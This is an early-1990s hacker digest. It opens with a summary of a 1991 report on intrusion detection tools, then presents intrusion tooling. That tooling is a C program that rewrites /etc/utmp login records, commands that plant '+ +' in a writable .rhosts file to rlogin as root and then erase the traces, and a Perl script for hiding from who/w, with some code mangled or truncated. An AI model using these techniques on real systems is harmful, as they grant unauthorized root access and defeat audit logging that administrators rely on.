------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Thu, 13 Feb 92 10:41:08 -0700 Subject: audit.tools ============================================================================== Section Name chapter.sec.version 00/00/00 audit.tools 1.14.0 02/13/92 ------------------------------------------------------------------------------ DATA: Summary of the Trusted Information Systems (TIS) Report on Intrusion Detection Systems - prepared by Victor H. Marshall ******************************************************************** INTRUSION DETECTION IN COMPUTERS January 29, 1991 1. EXECUTIVE SUMMARY. Computer system security officials typically have very few, if any, good automated tools to gather and process auditing information on potential computer system intruders. It is most challenging to determine just what actions constitute potential intrusion in a complex mainframe computer environment. Trusted Information Systems (TIS), Inc. recently completed a survey to determine what auditing tools are available and what further research is needed to develop automated systems that will reliably detect intruders on mainframe computer systems. Their report #348 was done for the Air Force and includes details on nine specific software tools for intrusion detection. 2. BACKGROUND. Computer security officials at the system level have always had a challenging task when it comes to day-to-day mainframe auditing. Typically the auditing options/features are limited by the mainframe operating system and other system software provided by the hardware vendor. Also, since security auditing is a logical subset of management auditing, some of the available auditing options/features may be of little value to computer security officials. Finally, the relevant auditing information is probably far too voluminous to process manually and the availability of automated data reduction/analysis tools is very limited. Typically, 95% of the audit data is of no security significance. The trick is determining which 95% to ignore. 3. SPECIAL TOOLS NEEDED. A partial solution to this problem could be to procure or develop special automated tools for doing security auditing. For example, in the IBM mainframe environment, programs such as RACF, CA-ACF2, and CA-TOP SECRET are commonly used to control data access and programs such as CA- EXAMINE are used to supplement standard systems auditing. Nevertheless, most of these generally-available software systems do not comprehensively address the problem of intrusion detection. In fact, intrusion detection is one of the most challenging (security) auditing functions. There are, in fact, few existing systems designed to do this, and they must be tailored to specific operating systems. Also, they do not generally gather auditing information on activities within database management systems or application software. Much research and development needs to be done before intrusion detection will be generally available. 4. REPORT AVAILABLE. In the meantime, however, it would be wise to stay abreast of the state-of-the-art in automated auditing tools for helping security managers detect intruders. TIS, Inc. recently completed a very comprehensive report on the tools currently available for intrusion detection and the recommended directions for future research. TIS report #348 is entitled "Computer System Intrusion Detection, E002: Final Technical Report" and is dated September 11, 1990. It was done under contract to the Rome Air Development Center at Griffiss Air Force Base in New York. TIS report #348 comprehensively covers the known intrusion detection techniques. It also reviews the nine comprehensive intrusion detection tools currently available or under development. a. Intrusion Detection Techniques. Although intrusion detection is normally accomplished using software tools, hardware tools are potentially more secure because they cannot be easily altered. In either case, intrusion detection requires that security-related auditing data be collected, stored, and analyzed. (1) Data Collection. Specific events or sequences of events must be defined as important enough to cause generation of an audit record. Potentially every event has security significance, but logging the details of every event would probably eliminate any hope of processing efficiency (or even effectiveness). Thus, someone must decide which events to log and when. Also, as noted earlier, the events logged tend to be exclusively operating system events. It would be useful to be able to log some events internal to database management systems and/or application systems. (2) Data Storage. Some auditing data can be processed in real-time, but most of it will go to an audit log for later review. Security is concerned with the extent to which: - The storage medium for the audit log is READ-only and non-volatile, - The computer system used to store the audit log is connected/linked to the one from which the auditing data was gathered, and - The electronic (or manual) data paths are protected. (3) Data Analysis. By far, the most difficult task is to analyze the auditing data. A comprehensive audit log will certainly be too voluminous for reasonable human processing. Thus, the following techniques (in addition to other techniques) must be used in some ethical/legal combination to reduce the Security-relevant audit data to meaningful conclusions: - User Profiles - Anomalies - Historical Norms - Trend Analyses - Probable Scenarios - Known System Flaws - Threat Probabilities - Simulated Intrusions - Statistical Sampling - Expert System Rules - ArtificIal Intelligence - Hierarchies of Concern (Levels of Security) - Heuristics - Neural Networking (4) User Interface. Finally, the data analysis process should have a "friendly" user (i.e., security manager) interface that supports rapid learning, minimal frustration, and effective results. b. Nine Tools Reviewed. The nine automated tools reviewed in some depth in TIS report #348 are: (1) ComputerWatch Audit Reduction Tool. AT&T Bell Laboratories developed ComputerWatch in 1989 to summarize their internal audit files produced by System V/MLS, a version of UNIX. ComputerWatch could be used on other systems if the appropriate changes were made to the format/filter module. (2) Discovery. TRW Information Systems Division developed Discovery in 1986 to analyze access data from their credit database housed in a dial-up network of IBM 3090s running under the MVS operating system. Because it is application- specific, Discovery could not be easily implemented in other environments. However, Discovery does process auditing data produced by IBM's standard System Management Facility (SMF). (3) Haystack. Haystack was developed by Haystack Laboratories, Inc. for the Air Force Cryptologic Support Center in 1988 to analyze data from Unisys 1100/2200 mainframes running under the OS/1100 operating system. The actual analysis is done on a personal computer (such as the Zenith Z-248) running under MS-DOS. Haystack could not be easily implemented in other environments. (4) Intrusion-Detection Expert System (IDES). The IDES model was developed by SRI International in 1985 and has been implemented on Sun workstations as a research prototype under a contract with the U.S. Navy (SPAWAR). A version of IDES for IBM mainframes (using the MVS operating system) will soon be implemented under a contract with the Federal Bureau of Investigation (FBI). IDES is designed to be easily implemented in many different environments. The IDES model has been the basis for most intrusion detection research to date and it forms the conceptual basis for Haystack, MIDAS, and W&S. (NOTE: Haystack was covered above. MIDAS and W&S are covered below.) (5) Information Security Officer's Assistant (ISOA). ISOA is an R&D prototype system developed by Planning Research Corporation (PRC) in 1989 to analyze data from two types of system - the UNIX SunOS and the IBM AT Xenix. The actual analysis is done on a Sun 3/260 color workstation. ISOA is table driven, so it can easily be used to monitor many different environments. (6) Multics Intrusion Detection and Alerting System (MIDAS). MIDAS was developed by the National Security Agency's (NSA's) National Computer Security Center (NCSC) in 1988 to analyze data from a Honeywell DPS-8/70 computer running the Multics operating system (in support of NSA's Dockmaster system). NCSC intends to further develop MIDAS so it can process audit data from Sun and Apple systems. (7) Network Anomaly Detection and Intrusion Reporter (NADIR). NADIR was developed by the Department of Energy"s Los Alamos National Laboratory (LANL) in 1989 to analyze data from a unique LANL Network Security Controller (NSC). There are no plans to modify NADIR for use in other systems. (8) Network Security Monitor (NSM). An NSM prototype was recently developed by the University of California Davis (UCD) and is currently running on a Sun 3/50. NMS was designed to analyze data from an Ethernet local area network (LAN) and the hosts connected to it. NSM is a research system, but UCD hopes to eventually expand it's scope to include real environments, real attacks, and perhaps wide area networks. (9) W&S. W&S is an anomaly detection system that has been under development at LANL for the NCSC and DOE since 1984. W&S runs on a UNIX workstation and can analyze data from several different systems. c. More Research Needed. The specific TIS recommendations for further research include the following near-term (1 to 5 year) and long-term (over 5 year) recommendations. (1) Near Term Recommendation. The main near-term recommendation is to develop and commercially market an audit analysis "tool kit" flexible enough to meet the needs of a wide variety of security users and of a very dynamic environment. This would require that, among other things, someone: - Study the techniques for coordinating data from multiple levels of system abstraction. - Explore methods for integrating components of existing intrusion detection systems into a single prototype system. - Study the uses of neural networks and how they might be employed in audit analysis tools. - Develop the initial design for a proof-of- concept prototype to include a statistical tool (to develop user profiles), an expert system tool (to analyze the data based on predefined and consistent rules), and a neural network tool. - Determine the typical level of security expertise and perceived needs of a security manager who will use these auditing tools. - Test the prototype tool kit using real/live penetration techniques and data. (2) Long Term Recommendation. The main long term recommendation of TIS report #348 is that studies of the issues surrounding intrusion detection technology be conducted. These issues include: - Risk Management - Advanced Tools - Network Monitoring - Distributed Processing (of Audit Data) - Statistical Analysis - Detection Sensitivity Analysis - Collusion Among Computer Users - Distributed Network Attacks - Intrusion Response (Counterattack) - Computer User Responses to Intrusion Detection - Recognition (to Reduce False Positive Identifications) 5. TIS REPORT CONCLUSION. TIS report #348 concludes that there has been much good scientific study done on intrusion detection technologies, but insufficient time has been spent: - Analyzing precise user needs, - Determining the most appropriate technologies to use in specific situations, and - Cooperatively sharing the lessons learned from actual intrusions. VICTOR H. MARSHALL Systems Assurance Team Leader Booz, Allen & Hamilton Inc. ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Thu, 13 Feb 92 10:42:04 -0700 Subject: utmp_ed.c ============================================================================== Section Name chapter.sec.version 00/00/00 utmp_ed.c toolbox.01.01 02/13/92 ------------------------------------------------------------------------------ DATA: /* UTMP EDITOR. ROOT ONLY EXECUTABLE.. [for hackers.. :) ] made in Korea Ignor warnings... By kod's friend.. 'X' */ #include #include #include main() int fd, i = 0; char buff[100], tmp[100]; struct utmp *ttt; ttt = (struct utmp *)buff; if ((fd = open("/etc/utmp",O_RDWR)) == 0) exit(1); printf("File /etc/utmp opened.\n"); while (read(fd, buff, sizeof(struct utmp)) == sizeof(struct utmp)) { printf("[%d] %s %s %s %s", i++, &(ttt->ut_line), &(ttt->ut_name) , &(ttt->ut_host), ctime(&(ttt->ut_time))); } printf("what entry do you want to edit? = "); scanf("%d", &i); lseek(fd, (long)(i * sizeof(struct utmp)), 0); read(fd, buff, sizeof(struct utmp)); printf("%s -> ", &(ttt->ut_line)); strcpy(&(ttt->ut_line)," "); scanf("%s", &(ttt->ut_line)); printf("%s -> ", &(ttt->ut_name)); strcpy(&(ttt->ut_name)," "); scanf("%s", &(ttt->ut_name)); printf("%s -> ", &(ttt->ut_host)); strcpy(&(ttt->ut_host)," "); scanf("%s", tmp); if (!strcmp(tmp,"null")) tmp[0] = 0; strcpy(&(ttt->ut_host), tmp); lseek(fd, (long)(i * sizeof(struct utmp)), 0); write(fd, buff, sizeof(struct utmp)); close(fd); printf("Thank you.\n"); ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== Date: Sat, 15 Feb 92 10:35:43 -0700 Subject: rhosts.hole ============================================================================== rhosts.hole 06.01.00 02/15/92 ------------------------------------------------------------------------------ DATA: % ls -l .rhosts .rhosts 1 -rw-rw-rw- 69 root Jun. 9, 1969 % cat >> .rhosts + + ^D % cat /.rhosts heaven.com god + + % rlogin this.host.com -l root Last login ... from ... root# rm -rf .rhosts root# cat > .rhosts heaven.com god ^D root# ------------------------------------------------------------------------------ Comments: I'm not sure, but I think one + will work too... By inserting the line '+ +' into an .rhosts file, one can gain access to the account that uses that file from any account on any system provided that: 1) the account is capable of being logged into according to /etc/ttytab 2) if the account is root, some systems may require a password for all root logins. If you put the '+ +' line in yourself, be sure to remove it when you're done. One way to do this is to copy the .rhosts file to /tmp and then copy it back. Q's: What does this do for hosts.equiv? Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Sat, 15 Feb 92 10:37:16 -0700 Subject: unwho.pl (revision) ============================================================================== unwho.pl toolbox.01.01 02/15/92 ------------------------------------------------------------------------------ DATA: #!/usr/local/bin/perl # This assumes your /etc/utmp file looks like ours $unname = shift; open(UTMP,'+ NOTE: you may have to edit the first line to match the path to perl. Conceivably, you can use this script to remove yourself from utmp so that you're invisible to programs which read /etc/utmp (like w, who, users). NOTE: ps doesn't use /etc/utmp, it uses vmunix, so your processes will still show up to other users. Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------------- To join this group or have your thoughts in the next issue, please send electronic mail to Tangent at the following address; infohax The views expressed in InfoHax Digest are those of the individual authors only. ********************* End of InfoHax Digest ********************* X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X Another file downloaded from: NIRVANAnet(tm) &TOTSE 510/935-5845 Walnut Creek, CA Taipan Enigma Burn This Flag 408/363-9766 San Jose, CA Zardoz realitycheck 415/666-0339 San Francisco, CA Poindexter Fortran Governed Anarchy 510/226-6656 Fremont, CA Eightball New Dork Sublime 805/823-1346 Tehachapi, CA Biffnix Lies Unlimited 801/278-2699 Salt Lake City, UT Mick Freen Atomic Books 410/669-4179 Baltimore, MD Baywolf Sea of Noise 203/886-1441 Norwich, CT Mr. Noise The Dojo 713/997-6351 Pearland, TX Yojimbo Frayed Ends of Sanity 503/965-6747 Cloverdale, OR Flatline The Ether Room 510/228-1146 Martinez, CA Tiny Little Super Guy Hacker Heaven 860/456-9266 Lebanon, CT The Visionary The Shaven Yak 510/672-6570 Clayton, CA Magic Man El Observador 408/372-9054 Salinas, CA El Observador Cool Beans! 415/648-7865 San Francisco, CA G.A. Ellsworth DUSK Til Dawn 604/746-5383 Cowichan Bay, BC Cyber Trollis The Great Abyss 510/482-5813 Oakland, CA Keymaster "Raw Data for Raw Nerves" X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X